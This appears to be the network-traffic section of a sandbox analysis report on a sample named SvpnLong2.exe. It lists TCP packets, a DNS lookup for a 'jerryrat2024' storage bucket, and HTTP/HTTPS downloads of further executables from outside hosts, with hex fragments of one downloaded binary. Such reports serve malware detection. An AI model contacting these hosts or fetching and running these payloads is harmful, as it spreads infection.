Jul 27, 2024 16:50:03.731844902 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.731914997 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731947899 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731981993 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731993914 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.732016087 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732033968 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.732069016 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732117891 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.732122898 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732156992 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732189894 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732208967 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.732222080 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732254982 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732275009 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.732287884 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732321978 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732340097 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.732357979 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732392073 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732414007 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.732424974 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732456923 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732475996 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.732549906 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732599974 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732611895 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.732635021 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732669115 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732690096 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.732702971 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732736111 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732755899 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.732769966 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732804060 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732822895 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.732836962 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732871056 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732889891 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.732902050 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732935905 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.732954025 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.732968092 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733017921 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733026028 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.733052969 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733086109 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733102083 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.733120918 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733154058 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733167887 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.733186960 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733220100 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733237982 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.733253002 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733287096 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733305931 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.733319998 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733355045 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733371973 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.733390093 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733422041 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733436108 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.733454943 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733489990 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733508110 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.733524084 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733557940 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733577967 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.733592033 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733627081 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733643055 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.733661890 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733695984 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733727932 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733730078 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.733762026 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733784914 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.733795881 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733829021 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733846903 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.733863115 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733896017 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733906984 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.733930111 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733962059 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.733982086 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.733994961 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734026909 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734042883 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.734061956 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734095097 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734127998 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734129906 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.734163046 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734181881 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.734196901 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734229088 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734251022 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.734261036 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734296083 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734316111 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.734328032 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734360933 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734383106 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.734394073 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734426975 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734450102 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.734460115 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734493971 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734515905 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.734528065 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734560966 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734581947 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.734595060 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734628916 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734661102 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734685898 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.734703064 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734731913 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.734751940 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.734786034 CEST	9000	49742	154.82.85.193	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 27, 2024 16:49:40.574253082 CEST	192.168.2.4	1.1.1.1	0x8f1b	Standard query (0)	jerryrat2024.oss-cn-beijing.aliyuncs.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 27, 2024 16:49:40.812633038 CEST	1.1.1.1	192.168.2.4	0x8f1b	No error (0)	jerryrat2024.oss-cn-beijing.aliyuncs.com		39.97.203.118	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	154.82.85.236	280	7340	C:\Users\user\Desktop\SvpnLong2.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 16:49:02.873826027 CEST	75	OUT	GET /Test.txt HTTP/1.1 Connection: Keep-Alive Host: 154.82.85.236:280
Jul 27, 2024 16:49:03.767716885 CEST	196	IN	HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 1200 Accept-Ranges: bytes Server: HFS 2.2f Content-Disposition: filename="Test.txt"; Last-Modified: Sat, 13 Jul 2024 09:37:07 GMT

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49739	39.97.203.118	443	7340	C:\Users\user\Desktop\SvpnLong2.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-27 14:49:42 UTC	112	OUT	GET /arphaCrashReport64.exe HTTP/1.1 Connection: Keep-Alive Host: jerryrat2024.oss-cn-beijing.aliyuncs.com
2024-07-27 14:49:42 UTC	560	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sat, 27 Jul 2024 14:49:42 GMT Content-Type: application/octet-stream Content-Length: 238384 Connection: close x-oss-request-id: 66A509065A53BB3734B4E7E3 Accept-Ranges: bytes ETag: "8B5D51DF7BBD67AEB51E9B9DEE6BC84A" Last-Modified: Fri, 19 Jul 2024 07:12:21 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 5816712042177015287 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: i11R33u9Z661Hpud7mvISg== x-oss-server-time: 7
2024-07-27 14:49:42 UTC	3536	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e1 d0 a5 69 a5 b1 cb 3a a5 b1 cb 3a a5 b1 cb 3a c0 d7 c8 3b a0 b1 cb 3a c0 d7 ce 3b 29 b1 cb 3a f7 d9 cf 3b b7 b1 cb 3a f7 d9 c8 3b ad b1 cb 3a f7 d9 ce 3b 90 b1 cb 3a c0 d7 cf 3b ae b1 cb 3a c0 d7 ca 3b b7 b1 cb 3a 33 d8 ca 3b a6 b1 cb 3a a5 b1 ca 3a 0b b1 cb 3a 33 d8 ce 3b a2 b1 cb 3a 33 d8 34 3a a4 b1 cb 3a a5 b1 5c 3a a4 b1 cb 3a 33 d8 c9 3b a4 b1 cb 3a 52 69 63 68 a5 b1 cb Data Ascii: MZ@!L!This program cannot be run in DOS mode.$i:::;:;):;:;:;:;:;:3;:::3;:34::\::3;:Rich
2024-07-27 14:49:42 UTC	4096	IN	Data Raw: 48 8b cb e8 a4 c3 00 00 90 4c 89 bf 80 00 00 00 4c 89 bf 88 00 00 00 4c 89 bf 90 00 00 00 48 8b 57 78 48 83 ea 18 f0 0f c1 72 10 83 ee 01 7f 0a 48 8b 0a 48 8b 01 ff 50 08 90 48 8b 77 60 48 85 f6 74 47 48 8b 5f 68 48 85 db 74 3e bd ff ff 00 00 66 39 2e 74 2b 41 be 00 20 00 00 0f 1f 40 00 66 44 85 33 74 0a 48 8b 4b 08 e8 f9 c9 00 00 90 48 83 c6 04 48 83 c3 10 66 39 2e 75 e3 48 8b 5f 68 48 8b cb e8 df c9 00 00 90 48 8b 4f 50 48 85 c9 74 0a e8 1c 0a 01 00 90 4c 89 7f 50 4c 89 7f 58 48 8b 4f 28 48 85 c9 74 06 e8 e5 be 00 00 90 48 8b 5c 24 50 48 8b 6c 24 58 48 8b 74 24 60 48 83 c4 30 41 5f 41 5e 5f c3 e8 6e 09 01 00 90 cc 48 89 5c 24 08 57 48 83 ec 20 48 8b d9 33 ff 48 8b 49 18 48 85 c9 74 09 e8 c7 09 01 00 48 89 7b 18 48 89 7b 20 48 8b 4b 08 48 85 c9 74 09 e8 Data Ascii: HLLLHWxHrHHPHw`HtGH_hHt>f9.t+A @fD3tHKHHf9.uH_hHHOPHtLPLXHO(HtH\$PHl$XHt$`H0A_A^_nH\$WH H3HIHtH{H{ HKHt
2024-07-27 14:49:42 UTC	4096	IN	Data Raw: 48 89 44 24 40 49 8b d7 48 8d 44 24 60 49 8b cc 48 89 44 24 38 48 8b 84 24 d0 00 00 00 48 89 44 24 30 8b 84 24 c0 00 00 00 89 5c 24 28 89 44 24 20 ff 15 01 f6 01 00 85 c0 75 39 48 8b 8c 24 d8 00 00 00 48 85 c9 74 09 8b 84 24 a0 00 00 00 89 01 48 8b 0f 48 85 c9 74 08 ff 15 09 f6 01 00 8b e8 48 8b 4c 24 60 81 e3 00 03 00 00 48 89 0f 8b c5 89 5f 08 4c 8d 5c 24 70 49 8b 5b 38 49 8b 6b 40 49 8b e3 41 5f 41 5e 41 5c 5f 5e c3 cc cc cc 48 89 5c 24 08 48 89 74 24 10 57 48 83 ec 30 48 8b 79 10 48 8b f2 48 8b d9 48 85 ff 0f 84 93 00 00 00 48 83 3f 00 48 8b 19 74 56 48 8d 0d 46 fe 01 00 ff 15 48 f6 01 00 48 85 c0 74 63 48 8d 15 84 fe 01 00 48 8b c8 ff 15 c3 f6 01 00 48 85 c0 74 4e 48 8b 17 45 33 c9 48 c7 44 24 28 00 00 00 00 45 33 c0 48 89 54 24 20 48 8b cb 48 8b d6 Data Ascii: HD$@IHD$`IHD$8H$HD$0$\$(D$ u9H$Ht$HHtHL$`H_L\$pI[8Ik@IA_A^A\_^H\$Ht$WH0HyHHHH?HtVHFHHtcHHHtNHE3HD$(E3HT$ HH
2024-07-27 14:49:42 UTC	4096	IN	Data Raw: 48 89 5c 24 18 55 56 57 48 81 ec 80 02 00 00 48 8b 05 32 e6 02 00 48 33 c4 48 89 84 24 70 02 00 00 44 8b 49 08 33 ed 48 8b f2 48 89 6c 24 48 4c 8b c2 89 6c 24 50 48 8b 11 48 8b f9 41 81 c9 1f 00 02 00 48 89 6c 24 58 48 8d 4c 24 48 e8 0e f9 ff ff 8b d8 85 c0 0f 85 bb 00 00 00 48 8b 4c 24 48 48 8d 44 24 60 48 89 44 24 38 4c 8d 4c 24 40 48 89 6c 24 30 4c 8d 44 24 70 48 89 6c 24 28 33 d2 48 89 6c 24 20 c7 44 24 40 00 01 00 00 ff 15 cc e5 01 00 85 c0 75 59 0f 1f 84 00 00 00 00 00 48 8d 54 24 70 48 8d 4c 24 48 e8 51 ff ff ff 8b d8 85 c0 75 62 48 8b 4c 24 48 48 8d 44 24 60 48 89 44 24 38 4c 8d 4c 24 40 48 89 6c 24 30 4c 8d 44 24 70 48 89 6c 24 28 33 d2 48 89 6c 24 20 c7 44 24 40 00 01 00 00 ff 15 73 e5 01 00 85 c0 74 af 48 8b 4c 24 48 48 85 c9 74 0b ff 15 67 e5 Data Ascii: H\$UVWHH2H3H$pDI3HHl$HLl$PHHAHl$XHL$HHL$HHD$`HD$8LL$@Hl$0LD$pHl$(3Hl$ D$@uYHT$pHL$HQubHL$HHD$`HD$8LL$@Hl$0LD$pHl$(3Hl$ D$@stHL$HHtg
2024-07-27 14:49:42 UTC	4096	IN	Data Raw: 0f 83 6d 04 00 00 85 d2 7e 1a 48 2b fb 8b ca 90 0f b7 04 1f 66 89 03 48 83 c3 02 48 83 e9 01 75 ef 4d 8b 06 41 0f b7 00 49 8b f8 66 3b f0 75 90 66 89 33 66 41 83 3f 3d 0f 85 35 04 00 00 8b 7c 24 40 85 ff 74 39 48 8b 44 24 48 48 89 44 24 50 89 74 24 58 48 89 74 24 60 4d 8b cf 4c 8d 85 a0 01 00 00 48 8d 54 24 50 49 8b ce e8 70 d5 ff ff 8b d8 85 c0 0f 88 fe 03 00 00 e9 5c 01 00 00 83 bd 20 22 00 00 00 75 61 45 85 e4 74 5c 48 89 74 24 50 89 74 24 58 48 89 74 24 60 41 b9 06 00 02 00 45 33 c0 48 8b 54 24 48 48 8d 4c 24 50 e8 ad e8 ff ff 85 c0 0f 85 82 03 00 00 48 8d 95 a0 01 00 00 48 8b 7c 24 50 48 8b cf ff 15 78 d5 01 00 a9 fd ff ff ff 0f 85 49 03 00 00 48 85 ff 74 09 48 8b cf ff 15 7f d5 01 00 49 8b d7 49 8b ce e8 bc 0c 00 00 e9 9a f7 ff ff 49 8b cf 41 0f b7 Data Ascii: m~H+fHHuMAIf;uf3fA?=5\|$@t9HD$HHD$Pt$XHt$`MLHT$PIp\ "uaEt\Ht$Pt$XHt$`AE3HT$HHL$PHH\|$PHxIHtHIIIA
2024-07-27 14:49:42 UTC	4096	IN	Data Raw: 74 29 48 89 5c 24 30 48 8b 4f 08 ff 17 48 8b 5f 10 ba 18 00 00 00 48 8b cf e8 8e 83 00 00 48 8b fb 48 85 db 75 e1 48 8b 5c 24 30 48 8b 7c 24 38 49 c7 46 08 00 00 00 00 48 c7 46 10 00 00 00 00 48 8b 4e 40 48 85 c9 74 06 48 8b 01 ff 50 10 48 8d 4e 18 ff 15 5f c6 01 00 41 c7 06 00 00 00 00 48 8b 74 24 40 48 83 c4 20 41 5e c3 ba 01 00 00 00 b9 05 00 00 c0 e8 d5 bb ff ff cc cc cc cc cc 48 89 5c 24 10 48 89 6c 24 18 48 89 74 24 20 41 56 48 83 ec 20 48 8b 59 48 45 33 f6 48 8b e9 48 85 db 74 2d 4c 39 33 74 28 0f 1f 80 00 00 00 00 48 8b 4b 20 48 85 c9 74 06 48 8b 01 ff 50 10 33 c9 4c 89 73 20 ff 53 40 48 83 c3 48 4c 39 33 75 df 48 8b 1d b8 d5 02 00 48 8b 0d b9 d5 02 00 48 3b d9 73 1d 48 8b 03 48 85 c0 74 0c 33 c9 ff 50 38 48 8b 0d a0 d5 02 00 48 83 c3 08 48 3b d9 Data Ascii: t)H\$0HOH_HHHuH\$0H\|$8IFHFHN@HtHPHN_AHt$@H A^H\$Hl$Ht$ AVH HYHE3HHt-L93t(HK HtHP3Ls S@HHL93uHHH;sHHt3P8HHH;
2024-07-27 14:49:42 UTC	4096	IN	Data Raw: 18 48 89 47 30 e8 56 aa ff ff 48 8b c8 48 85 c0 0f 84 89 02 00 00 48 8b 00 ff 50 18 48 83 c0 18 48 89 47 38 e8 37 aa ff ff 48 8b c8 48 85 c0 0f 84 75 02 00 00 48 8b 00 ff 50 18 48 83 c0 18 48 89 47 40 e8 18 aa ff ff 48 8b c8 48 85 c0 0f 84 61 02 00 00 48 8b 00 ff 50 18 48 83 c0 18 48 89 47 48 e8 f9 a9 ff ff 48 8b c8 48 85 c0 0f 84 4d 02 00 00 48 8b 00 ff 50 18 48 83 c0 18 48 89 47 50 e8 da a9 ff ff 48 8b c8 48 85 c0 0f 84 b5 01 00 00 48 8b 00 ff 50 18 48 83 c0 18 48 89 47 58 48 8d 15 29 c5 01 00 48 c7 c3 ff ff ff ff 48 8b c3 48 ff c0 66 83 3c 42 00 75 f6 44 8b c0 48 8b cf e8 7a eb ff ff 48 8d 15 53 c5 01 00 48 8b c3 48 ff c0 66 83 3c 42 00 75 f6 44 8b c0 48 8d 4f 08 e8 5a eb ff ff 48 8d 15 8b c5 01 00 48 8b c3 48 ff c0 66 83 3c 42 00 75 f6 44 8b c0 48 8d Data Ascii: HG0VHHHPHHG87HHuHPHHG@HHaHPHHGHHHMHPHHGPHHHPHHGXH)HHHf<BuDHzHSHHf<BuDHOZHHHf<BuDH
2024-07-27 14:49:42 UTC	4096	IN	Data Raw: 00 cc e8 19 20 00 00 cc e8 2f aa 00 00 cc cc cc 48 89 4c 24 08 57 41 56 41 57 48 83 ec 40 48 c7 44 24 30 fe ff ff ff 48 89 5c 24 68 48 89 6c 24 70 48 89 74 24 78 4c 8b f2 48 8b d9 e8 1f 9a ff ff 48 8b c8 48 85 c0 0f 84 27 02 00 00 48 8b 00 ff 50 18 48 83 c0 18 48 89 03 33 f6 8d 6e ff 4d 85 f6 0f 84 9e 01 00 00 33 d2 49 81 fe 00 00 01 00 0f 83 15 01 00 00 41 0f b7 ee 48 8d 0d 1e b8 02 00 e8 6d 58 00 00 48 8b f8 41 bf 01 00 00 00 41 8b f7 48 85 c0 0f 84 b1 01 00 00 44 8b f5 49 c1 ee 04 0f 1f 40 00 66 0f 1f 84 00 00 00 00 00 45 33 c9 4d 8d 46 01 41 8d 51 06 48 8b cf ff 15 34 a6 01 00 48 85 c0 74 13 44 8b c5 48 8b d0 48 8b cf e8 39 ea ff ff 48 85 c0 75 1e 8b d6 48 8d 0d bb b7 02 00 e8 0a 58 00 00 48 8b f8 ff c6 48 85 c0 0f 84 55 01 00 00 eb b6 48 85 ff 0f 84 Data Ascii: /HL$WAVAWH@HD$0H\$hHl$pHt$xLHHH'HPHH3nM3IAHmXHAAHDI@fE3MFAQH4HtDHH9HuHXHHUH
2024-07-27 14:49:42 UTC	4096	IN	Data Raw: 06 00 00 e8 58 8a ff ff 48 8b c8 48 85 c0 0f 84 4b 06 00 00 48 8b 00 ff 50 18 48 8d 58 18 48 89 5d df 48 8d 55 f3 48 8b 7d f7 48 8b cf ff 15 3d 97 01 00 8b f0 89 45 ef 49 c7 c4 ff ff ff ff 83 f8 ff 75 10 e8 07 9d ff ff 85 c0 0f 88 b1 01 00 00 8b 75 ef 44 3b fe 41 0f 42 f7 85 f6 0f 88 07 06 00 00 44 2b 73 f8 8b 43 f4 2b c6 41 0b c6 7d 0f 8b d6 48 8d 4d df e8 44 0c 00 00 48 8b 5d df 45 33 f6 44 89 75 6f 4c 89 74 24 20 4c 8d 4d 6f 44 8b c6 48 8b d3 48 8b cf ff 15 d9 96 01 00 85 c0 0f 85 52 01 00 00 e8 a4 9c ff ff 85 c0 0f 88 4e 01 00 00 48 85 ff 74 0d 48 8b cf ff 15 be 96 01 00 4c 89 75 f7 4d 89 75 10 49 8b c5 49 83 7d 18 08 72 04 49 8b 45 00 66 44 89 30 85 f6 0f 84 19 05 00 00 41 be 02 00 00 00 41 bd 0a 00 00 00 45 8d 7d 31 41 8d 55 16 45 8d 45 44 48 8d 4d Data Ascii: XHHKHPHXH]HUH}H=EIuuD;ABD+sC+A}HMDH]E3DuoLt$ LMoDHHRNHtHLuMuII}rIEfD0AAE}1AUEEDHM
2024-07-27 14:49:42 UTC	4096	IN	Data Raw: 48 8b 74 24 30 48 8b 5c 24 40 48 83 c4 20 5d c3 48 83 ec 28 b9 0e 00 07 80 e8 62 8d ff ff cc cc 48 83 ec 28 48 8d 0d 75 9a 01 00 e8 08 43 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 10 48 89 6c 24 18 56 57 41 54 41 56 41 57 48 83 ec 20 48 8b 69 18 49 8b f0 4c 8b 71 10 48 8b c5 49 2b c6 4c 8b e2 48 8b d9 4c 3b c0 77 2c 4f 8d 3c 06 48 8b f9 4c 89 79 10 48 83 fd 08 72 03 48 8b 39 4d 03 c0 4a 8d 0c 77 e8 ee 5d 00 00 33 c0 66 42 89 04 7f e9 f0 00 00 00 48 bf fe ff ff ff ff ff ff 7f 48 8b c7 49 2b c6 48 3b c6 0f 82 f7 00 00 00 4c 89 6c 24 50 4f 8d 2c 06 49 8b cd 48 83 c9 07 48 3b cf 77 1f 48 8b d5 48 8b c7 48 d1 ea 48 2b c2 48 3b e8 77 0e 48 8d 04 2a 48 8b f9 48 3b c8 48 0f 42 f8 48 8d 57 01 48 8b cb e8 89 7b ff ff 48 03 f6 4c 89 6b 10 48 Data Ascii: Ht$0H\$@H ]H(bH(HuCH\$Hl$VWATAVAWH HiILqHI+LHL;w,O<HLyHrH9MJw]3fBHHI+H;Ll$PO,IHH;wHHHH+H;wH*HH;HBHWH{HLkH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	39.97.203.118	443	7340	C:\Users\user\Desktop\SvpnLong2.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-27 14:49:44 UTC	105	OUT	GET /arphaDump64.dll HTTP/1.1 Connection: Keep-Alive Host: jerryrat2024.oss-cn-beijing.aliyuncs.com
2024-07-27 14:49:45 UTC	563	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sat, 27 Jul 2024 14:49:45 GMT Content-Type: application/octet-stream Content-Length: 2199488 Connection: close x-oss-request-id: 66A509090AD0713937A3919B Accept-Ranges: bytes ETag: "5D165E30CDB59FDCCBD2ACE554EF3DF7" Last-Modified: Sun, 21 Jul 2024 04:01:27 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 10738669038091672703 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: XRZeMM21n9zL0qzlVO899w== x-oss-server-time: 24
